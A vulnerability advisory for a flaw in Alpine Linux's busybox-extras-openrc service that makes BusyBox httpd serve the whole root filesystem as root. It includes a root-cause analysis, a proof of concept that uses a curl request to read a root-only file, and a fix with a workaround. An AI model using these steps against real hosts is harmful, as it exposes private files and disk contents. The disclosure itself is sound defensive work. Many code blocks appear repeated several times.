Alpine Linux busybox-extras-openrc 1.38.0-r8 - httpd exposes root files

8,7

High

Discovered by

Lautaro Casanova

Offensive Team, Fluid Attacks

Abstract

CVE-2026-140044 is a high-severity exposed files vulnerability (CWE-552) in Alpine Linux busybox-extras-openrc 1.38.0-r8, reported by independent researcher Lautaro Casanova and disclosed by Fluid Attacks. An unauthenticated attacker can read root-accessible host files through the default HTTP document root. It has a CVSS v4.0 base score of 8.7. Upgrade to busybox-extras-openrc 1.38.0-r9 or later. Fluid Attacks assigned this CVE as a CNA, and this advisory includes a proof of concept.

Summary

Full name

Alpine Linux busybox-extras-openrc 1.38.0-r8 - root filesystem exposure through an implicit BusyBox HTTP document root

Code name

State

Public

Release date

Affected product

busybox-extras-openrc

Vendor

Alpine Linux

Affected version(s)

1.38.0-r8

Fixed version(s)

1.38.0-r9

Vulnerability name

Technical information leak - Content response

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.7

Exploit available

Yes

Description

Alpine Linux busybox-extras-openrc 1.38.0-r8 provides an OpenRC service that starts BusyBox httpd without an explicit document root or a reduced-privilege account when HTTPD_OPTS is unset. In the standard boot path validated for Alpine Linux 3.24.4, OpenRC starts the service with / as its working directory, UID/GID 0, and a wildcard port-80 listener.

BusyBox documents the current directory as the default HTTP home when -h is absent. The combination of these individually documented behaviors makes the host root filesystem the effective web root. An unauthenticated network client can therefore request filesystem objects below / that the root process can open.

Vulnerability

Root Cause

The packaged service defines the command and arguments as follows:

command="/usr/sbin/$SVCNAME"
command_args="$HTTPD_OPTS -f"
command="/usr/sbin/$SVCNAME"
command_args="$HTTPD_OPTS -f"
command="/usr/sbin/$SVCNAME"
command_args="$HTTPD_OPTS -f"
command="/usr/sbin/$SVCNAME"
command_args="$HTTPD_OPTS -f"

The package supplies httpd.initd but no matching httpd.confd. The service does not set OpenRC's directory or command_user variables and does not pass BusyBox httpd the -h or -u options. With HTTPD_OPTS unset, the effective command is /usr/sbin/httpd -f.

BusyBox initializes its HTTP home from the process working directory and documents -h HOME as overriding a default of .. During the validated boot path, PID 1 and the service process both had / as their working directory. BusyBox consequently resolved /etc/httpd-proof.txt below the effective HTTP home / and opened it using the service's root credentials.

Source-to-sink path

  1. Packaged source: main/busybox/httpd.initd:4-7 defines command="/usr/sbin/$SVCNAME", command_args="$HTTPD_OPTS -f", a pidfile, and backgrounding. With HTTPD_OPTS unset, the resulting application arguments are only -f.

  2. Missing OpenRC confinement: The script defines neither directory nor command_user; the package contains no httpd.confd. OpenRC 0.63.2's sh/start-stop-daemon.sh:45-63 emits --chdir only when directory is nonempty and --user only when command_user is set. Neither option is therefore passed.

  3. Inherited process context: OpenRC 0.63.2 start-stop-daemon.c:912-918 calls chdir() only when ch_dir was supplied, and start-stop-daemon.c:929-942 changes UID/GID only when a nonzero target identity was selected. The launched process consequently inherits the service manager's cwd and root identity. In the validated normal boot path, PID 1 and /usr/sbin/httpd -f both had cwd /, and httpd had UID/GID 0.

  4. Implicit BusyBox HTTP home: BusyBox 1.38.0 networking/httpd.c:3040-3058 initializes home_httpd with getcwd() before parsing options; only -h replaces it. Lines 3097-3101 then call chdir(home_httpd). With the inherited cwd, the effective HTTP home remains /.

  5. No default configuration override: BusyBox first looks for /etc/httpd.conf and, when -c was not supplied and that file is absent, tries ./httpd.conf (httpd.c:759-807). In this launch context that second path is /httpd.conf. An H: directive in /etc/httpd.conf or in a configuration explicitly selected with -c changes the HTTP home (httpd.c:869-873). However, after falling back to ./httpd.conf, the parser state is TRY_CURDIR_PARSE, while the H: handler requires FIRST_PARSE; consequently, H: in /httpd.conf is not applied. Access-control rules in that fallback file can still block requests. Neither file exists in the validated package-default state.

  6. Unauthenticated source and path mapping: A remote client supplies an ordinary URL such as /etc/httpd-proof.txt or /dev/vda. BusyBox decodes and canonicalizes the URL while rejecting attempts to cross above the selected root (httpd.c:2489-2541), then removes the leading slash and performs stat() on the resulting relative path (httpd.c:2557-2589). Thus /etc/httpd-proof.txt becomes etc/httpd-proof.txt relative to cwd /; traversal is unnecessary.

  7. Filesystem sink: For a non-CGI resource, httpd.c:2792-2794 calls send_file_and_exit(urlcopy + 1, ...). That function opens the relative path with open(url, O_RDONLY) (httpd.c:1847-1873) without restricting the object to a regular file.

  8. Response and device-node behavior: BusyBox sends regular-file bytes through sendfile() when available. If that first call fails, it deliberately falls back to a safe_read()/full_write() loop. This permits reading from a block device such as /dev/vda. Its stat(2) size is zero, which explains the Content-Length: 0 header, while the fallback loop still returns device bytes to a client that continues reading.

Impact

An unauthenticated client with network access to TCP port 80 can read URL-addressable files and special filesystem objects that the root httpd process can open.

PoC

Preconditions

  • Alpine Linux 3.24.4 x86_64 with busybox, busybox-extras, and busybox-extras-openrc 1.38.0-r8; OpenRC 0.63.2-r1 is PID 1.

  • The httpd OpenRC service is started without directory or command_user overrides; its effective process context is /usr/sbin/httpd -f, cwd /, EUID/EGID 0, and TCP/80 listening.

  • HTTPD_OPTS contains no effective -h or -u; /etc/httpd.conf and /httpd.conf do not apply a document-root override or deny the requested path.

  • An unauthenticated client can reach TCP/80, and the test marker exists at /etc/httpd-proof.txt with mode 0600, owner root:root.

Step-by-step

  1. Install the exact signed packages:

    apk add --repository https://dl-cdn.alpinelinux.org/alpine/edge/main \
      'busybox=1.38.0-r8' \
      'busybox-extras=1.38.0-r8' \
      'busybox-extras-openrc=1.38.0-r8' \
      'openrc=0.63.2-r1'
    apk info -v busybox busybox-extras busybox-extras-openrc openrc
    apk add --repository https://dl-cdn.alpinelinux.org/alpine/edge/main \
      'busybox=1.38.0-r8' \
      'busybox-extras=1.38.0-r8' \
      'busybox-extras-openrc=1.38.0-r8' \
      'openrc=0.63.2-r1'
    apk info -v busybox busybox-extras busybox-extras-openrc openrc
    apk add --repository https://dl-cdn.alpinelinux.org/alpine/edge/main \
      'busybox=1.38.0-r8' \
      'busybox-extras=1.38.0-r8' \
      'busybox-extras-openrc=1.38.0-r8' \
      'openrc=0.63.2-r1'
    apk info -v busybox busybox-extras busybox-extras-openrc openrc
    apk add --repository https://dl-cdn.alpinelinux.org/alpine/edge/main \
      'busybox=1.38.0-r8' \
      'busybox-extras=1.38.0-r8' \
      'busybox-extras-openrc=1.38.0-r8' \
      'openrc=0.63.2-r1'
    apk info -v busybox busybox-extras busybox-extras-openrc openrc


  2. Create a non-sensitive root-only marker, enable the packaged service, and reboot through the normal OpenRC path:

    printf 'OPENRC_HTTPD_ROOT_READ\n' > /etc/httpd-proof.txt
    chown root:root /etc/httpd-proof.txt
    chmod 0600 /etc/httpd-proof.txt
    rc-update add httpd default
    reboot
    printf 'OPENRC_HTTPD_ROOT_READ\n' > /etc/httpd-proof.txt
    chown root:root /etc/httpd-proof.txt
    chmod 0600 /etc/httpd-proof.txt
    rc-update add httpd default
    reboot
    printf 'OPENRC_HTTPD_ROOT_READ\n' > /etc/httpd-proof.txt
    chown root:root /etc/httpd-proof.txt
    chmod 0600 /etc/httpd-proof.txt
    rc-update add httpd default
    reboot
    printf 'OPENRC_HTTPD_ROOT_READ\n' > /etc/httpd-proof.txt
    chown root:root /etc/httpd-proof.txt
    chmod 0600 /etc/httpd-proof.txt
    rc-update add httpd default
    reboot


  3. Verify that local configuration does not override the packaged behavior:

    test ! -e /etc/httpd.conf
    test ! -e /httpd.conf
    test ! -e /etc/httpd.conf
    test ! -e /httpd.conf
    test ! -e /etc/httpd.conf
    test ! -e /httpd.conf
    test ! -e /etc/httpd.conf
    test ! -e /httpd.conf


  4. Record the service state:

    pid=$(cat /run/httpd.pid)
    tr '\0' ' ' < "/proc/$pid/cmdline"; printf '\n'
    readlink "/proc/$pid/cwd"
    awk '/^(Uid|Gid):/ { print }' "/proc/$pid/status"
    netstat -lntp 2>/dev/null | awk '/:80[[:space:]]/ { print $4; exit }'
    pid=$(cat /run/httpd.pid)
    tr '\0' ' ' < "/proc/$pid/cmdline"; printf '\n'
    readlink "/proc/$pid/cwd"
    awk '/^(Uid|Gid):/ { print }' "/proc/$pid/status"
    netstat -lntp 2>/dev/null | awk '/:80[[:space:]]/ { print $4; exit }'
    pid=$(cat /run/httpd.pid)
    tr '\0' ' ' < "/proc/$pid/cmdline"; printf '\n'
    readlink "/proc/$pid/cwd"
    awk '/^(Uid|Gid):/ { print }' "/proc/$pid/status"
    netstat -lntp 2>/dev/null | awk '/:80[[:space:]]/ { print $4; exit }'
    pid=$(cat /run/httpd.pid)
    tr '\0' ' ' < "/proc/$pid/cmdline"; printf '\n'
    readlink "/proc/$pid/cwd"
    awk '/^(Uid|Gid):/ { print }' "/proc/$pid/status"
    netstat -lntp 2>/dev/null | awk '/:80[[:space:]]/ { print $4; exit }'

    Expected state:

    /usr/sbin/httpd -f
    /
    Uid: 0 0 0 0
    Gid: 0 0 0 0
    :::80
    /usr/sbin/httpd -f
    /
    Uid: 0 0 0 0
    Gid: 0 0 0 0
    :::80
    /usr/sbin/httpd -f
    /
    Uid: 0 0 0 0
    Gid: 0 0 0 0
    :::80
    /usr/sbin/httpd -f
    /
    Uid: 0 0 0 0
    Gid: 0 0 0 0
    :::80


  5. From the client, request only the non-sensitive marker:

    curl -i "http://VM_IP/etc/httpd-proof.txt"
    curl -i "http://VM_IP/etc/httpd-proof.txt"
    curl -i "http://VM_IP/etc/httpd-proof.txt"
    curl -i "http://VM_IP/etc/httpd-proof.txt"

    Expected response content:

    HTTP/1.1 200 OK
    ...
    OPENRC_HTTPD_ROOT_READ
    HTTP/1.1 200 OK
    ...
    OPENRC_HTTPD_ROOT_READ
    HTTP/1.1 200 OK
    ...
    OPENRC_HTTPD_ROOT_READ
    HTTP/1.1 200 OK
    ...
    OPENRC_HTTPD_ROOT_READ


  6. Apply the causal control and restart the service:

    mkdir -p /var/www/localhost/htdocs
    printf '%s\n' 'HTTPD_OPTS="-h /var/www/localhost/htdocs"' > /etc/conf.d/httpd
    rc-service httpd restart
    mkdir -p /var/www/localhost/htdocs
    printf '%s\n' 'HTTPD_OPTS="-h /var/www/localhost/htdocs"' > /etc/conf.d/httpd
    rc-service httpd restart
    mkdir -p /var/www/localhost/htdocs
    printf '%s\n' 'HTTPD_OPTS="-h /var/www/localhost/htdocs"' > /etc/conf.d/httpd
    rc-service httpd restart
    mkdir -p /var/www/localhost/htdocs
    printf '%s\n' 'HTTPD_OPTS="-h /var/www/localhost/htdocs"' > /etc/conf.d/httpd
    rc-service httpd restart


  7. Request the marker again. The path now returns HTTP 404 and the marker content is not present:

    curl -i "http://VM_IP/etc/httpd-proof.txt"
    curl -i "http://VM_IP/etc/httpd-proof.txt"
    curl -i "http://VM_IP/etc/httpd-proof.txt"
    curl -i "http://VM_IP/etc/httpd-proof.txt"

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-140044 to refer to this issue from now on.

Disclosure policy

System information

  • Product: busybox-extras-openrc

  • Vendor: Alpine Linux

  • Version: 1.38.0-r8

  • Operating System: Linux

References

Solution and Workaround

Solution

Upgrade busybox-extras-openrc to version 1.38.0-r9 or later. Alpine's fix adds /etc/conf.d/httpd and changes the service arguments to select /var/www/localhost/htdocs as the default document root and nobody as the default service identity. The service fails to start when the selected document root does not exist. Administrators can override these defaults through HTTPD_HOME, HTTPD_USER, or HTTPD_OPTS.

Workaround and temporary mitigation

Create a dedicated web root and set it explicitly before starting the service:

mkdir -p /var/www/localhost/htdocs
printf '%s\n' 'HTTPD_OPTS="-h /var/www/localhost/htdocs"' > /etc/conf.d/httpd
rc-service httpd restart
mkdir -p /var/www/localhost/htdocs
printf '%s\n' 'HTTPD_OPTS="-h /var/www/localhost/htdocs"' > /etc/conf.d/httpd
rc-service httpd restart
mkdir -p /var/www/localhost/htdocs
printf '%s\n' 'HTTPD_OPTS="-h /var/www/localhost/htdocs"' > /etc/conf.d/httpd
rc-service httpd restart
mkdir -p /var/www/localhost/htdocs
printf '%s\n' 'HTTPD_OPTS="-h /var/www/localhost/htdocs"' > /etc/conf.d/httpd
rc-service httpd restart

Restrict TCP port 80 to intended clients and verify the running process's command line and cwd. Running under an unprivileged service account further limits exposure if the selected document root is later misconfigured. These steps are temporary mitigations for systems that cannot immediately upgrade to 1.38.0-r9 or later.

Credits

The vulnerability was discovered by Lautaro Casanova, an independent security researcher.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.